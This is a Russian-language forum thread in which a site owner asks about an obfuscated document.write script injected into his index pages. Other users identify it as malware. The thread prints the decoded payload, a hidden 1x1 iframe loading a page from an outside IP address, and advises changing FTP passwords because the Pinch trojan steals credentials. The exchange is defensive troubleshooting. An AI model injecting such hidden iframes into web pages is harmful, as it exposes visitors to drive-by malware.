Новая тема   Ответить

 rexes
обнаружил почти на всех своих ресурсах в конце индекса это -

<script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\.........\u003e')</script>

местами по несколько раз повторяющихся

... может кто знает как это по русски? неужто кака какаято?

 Simple
приведи полный код, тогда можно уже будет сказать что это такое "по-русски"...

а там уже и сам решишь кака это или какой скрипт твой это втыкает...

с той части что ты написал,можно лишь сказать что этот скрипт вызывает ифрейм какой-то

Последний раз редактировалось: Simple (02/09/07 в 03:44), всего редактировалось 1 раз

 rexes
вот наковырял -
http://www.securitylab.ru/news/300176.php

с борды касперского -
... Если декодировать, получается:
<iframe src="http://69.50.139.61/hp2/hp2.htm" width=1 height=1></iframe>

 rexes
Simple писал:

чтото мне подсказует что полный код не стОит приводить

 sipler
Тебя ифреймят.
Удаляй с ресурсов все линки,меняй пассы от фтп.
Ещё советую переустановить винду на всякий случай,если это пинч.

 rexes


да, пароли сменил...
а пинч это чего?

 Simple
пинч это троян который твои пассы пиздит...

лучше всего это закрыть доступ на фтп для всех айпи кроме твоего, как уже не раз тут советовалось...

 Twich
Простой пароль на фтп видимо был..

 color

от сложности пароля не зависит, его с компа трояном уводят просто обычно